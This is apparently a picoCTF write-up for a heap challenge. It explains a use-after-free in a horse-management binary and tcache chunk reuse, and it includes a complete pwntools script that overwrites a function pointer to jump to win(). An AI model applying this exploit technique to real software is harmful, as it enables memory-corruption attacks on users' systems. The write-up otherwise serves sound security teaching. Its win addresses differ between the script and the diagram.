Description
A heap exploitation challenge. The binary manages horse objects with malloc and free. Exploit a use-after-free (UAF) vulnerability by chaining a free followed by a same-size allocation to overwrite a function pointer and redirect execution to a win function.
Download the binary and any provided libc.
Run the binary locally to understand its menu options.
Install pwntools and GDB with pwndbg for heap analysis.
wget https://artifacts.picoctf.net/c/503/horsetrack && chmod +x horsetrackpip3 install pwntoolsSolution
Walk me through it- Step 1Understand the heap allocation patternInteract with the menu to understand how horse objects are allocated, used, and freed. Look for a free path that does not NULL the pointer.bash
./horsetrackbash# Try: add horse, display horse, remove horse, display againLearn more
A use-after-free (UAF) vulnerability occurs when a program frees a heap chunk but retains a pointer to it (a dangling pointer). If the same memory region is later reallocated for a different object and the old pointer is still used, the new object's data is interpreted through the old object's type - allowing type confusion or controlled memory writes.
Why glibc returns the same chunk back to you. Modern glibc (2.26+) keeps a per-thread cache called
tcache. When you free a chunk smaller than 0x410, its address is pushed onto a singly-linked list bucketed by chunk size. The very nextmalloc()of that size pops the same chunk back off the head of the list, so freeing horse A and then immediately allocating a same-size horse B reuses the exact memory.What is the "tcache fd"? When a chunk is freed into a tcache bin, glibc reuses the first 8 bytes of the chunk's user data as a forward pointer (
fd) to the next free chunk in that bin, forming a singly-linked list. The bin itself stores a head pointer;malloc()pops the head, sets the bin head tohead->fd, and returns the popped chunk untouched (no zeroing). That is why the old object data is still readable, and why corrupting anfdcan redirect future allocations elsewhere (the "tcache poisoning" primitive).Tcache lifecycle of a 0x40-byte chunk: malloc(0x30) -> [size=0x41][user data 0x30] pointer P1 free(P1) -> tcache[0x40] head -> P1 -> NULL (P1 itself still points at the chunk!) malloc(0x30) -> tcache pops P1 -> returns same address (no zeroing, old contents remain)In this binary, after freeing a horse object, the pointer in the horse table is not set to NULL. Subsequent operations that use the horse (like calling a function through a function pointer in the object) will access the freed chunk, which you control by allocating new data there.
- Step 2Analyze the heap object structure in GDBUse GDB with pwndbg to inspect the heap after allocating a horse. Determine the chunk size precisely (sizeof(horse) in GDB, or read the malloc(size) literal in objdump) so you can craft a name allocation that lands in the same tcache bin.bash
gdb ./horsetrackbash# In GDB:bash# break main; run; <add a horse>bash# heap chunksbash# x/8gx <horse_ptr>bash# p sizeof(horse) (if symbols present)bash# Otherwise read the malloc size from disasm:bashobjdump -d horsetrack | grep -B2 'call.*malloc' | head -40Learn more
Use
pwndbg'sheapcommand to visualize all allocated chunks. A typical horse struct might look like:- Offset 0x00: name pointer (char *)
- Offset 0x08: speed (int)
- Offset 0x10: display function pointer (void (*)(Horse *))
Determining the exact size is critical. The tcache buckets chunks by rounded size, so a horse struct of 0x18 bytes lands in the 0x20 bin (header + alignment). To reuse the freed chunk, the next allocation must round to the same bin. If sizeof is not directly available, decompile
add_horsein Ghidra/IDA and read the literal passed tomalloc; or in GDB usex/i $pcwhen stepping through the malloc call.The function pointer at the end of the struct is the target. If you can overwrite it with the address of a
win()function, calling the display operation will jump towin()instead. - Step 3UAF to overwrite the function pointerFree the horse, then allocate a new chunk of the same size where the user-controlled name overlays the freed struct's function pointer slot. Read win() from objdump, pack with p64() in little-endian, and paste the bytes into the name.bash
# Find the win() function address:bashobjdump -d horsetrack | grep '<win>:'pythonpython3 exploit.py# exploit.py from pwn import * p = remote("saturn.picoctf.net", 1337) # or process("./horsetrack") locally win_addr = 0x4012a6 # from: objdump -d horsetrack | grep '<win>:' def menu(choice): p.recvuntil(b"> ") p.sendline(str(choice).encode()) def add(name): menu(1) p.recvuntil(b"name: ") p.sendline(name) def free(idx): menu(2) p.recvuntil(b"index: ") p.sendline(str(idx).encode()) def display(idx): menu(3) p.recvuntil(b"index: ") p.sendline(str(idx).encode()) # 1. Allocate horse A -> tcache miss, fresh chunk X. add(b"Speedy") # 2. Free horse A -> chunk X is now the tcache[size] head; dangling slot 0 remains. free(0) # 3. Allocate horse B whose *name* malloc reuses chunk X. # Pad to the function-pointer offset (0x10 in this build), then p64(win). payload = b"A" * 0x10 + p64(win_addr) add(payload) # 4. Trigger display on slot 0 -> reads fp from chunk X -> jumps to win(). display(0) p.interactive()Learn more
The exploit sequence for a basic UAF with function pointer overwrite:
- Allocate horse A (gets chunk at address X).
- Free horse A (chunk X goes to the free list; pointer still in table).
- Allocate horse B whose name buffer happens to be the same size as the horse struct - tcache hands it chunk X.
- The user-controlled string you supplied as horse B's name now overlaps the function pointer slot in horse A's view.
- Trigger the display operation on horse A's slot - it reads the function pointer from chunk X (now your bytes) and calls it.
Memory at chunk X across the exploit: After allocate A: After free A: +0x00 name_ptr -> "Speedy" tcache fd -> next-free +0x08 speed = 7 (rest unchanged) +0x10 fp -> 0x401234 display After allocate B (name reuses X): Trigger display on A: +0x00 'A''A''A''A''A''A''A''A' fp = 0x401456 (win) +0x08 'A''A''A''A''A''A''A''A' call rax -> win() -> flag +0x10 0x56...01401456 (win addr, LE)Endianness reminder. When you write the win address into the name string, pack it little-endian:
p64(win_addr)in pwntools, so byte 0 of the 8-byte field holds the low byte of the address.p64(0x401456)emits\x56\x14\x40\x00\x00\x00\x00\x00.Use pwndbg's
binscommand to track where freed chunks go - tcache for sizes < 0x410, fastbins for very small sizes (rare in modern glibc), unsorted bin for larger ones. Inspect withvis_heap_chunksto see chunk metadata (size with PREV_INUSE / IS_MMAPPED flags) inline with user data. - Step 4Win and retrieve the flagWhen the function pointer is hijacked, execution jumps to win() which opens and prints the flag.
Learn more
A successful UAF exploit redirects the instruction pointer to a controlled address. In CTF binaries,
win()orprint_flag()functions are placed in the binary precisely to be hijacked this way.Use-after-free vulnerabilities are one of the most prevalent memory safety bugs in C and C++ programs. High-profile real-world UAFs have affected web browsers (Chrome, Firefox), operating system kernels, and PDF readers. Modern mitigations include heap randomization (ASLR), pointer authentication (PAC on ARM64), type-safe allocators, and memory-safe language rewrites.
For deeper reading on the heap primitives used here (tcache, fastbins, unsorted bin, double-free, tcache poisoning), see Heap exploitation for CTF. For the pwntools idioms in the exploit script (
remote(),p64,recvuntil,interactive()), see Pwntools for CTF. For the GDB+pwndbg workflow (heap chunks,bins,vis_heap_chunks), see GDB for CTF.
Flag
picoCTF{...}
This challenge was not solved during the competition. Follow the steps above to reproduce the solution.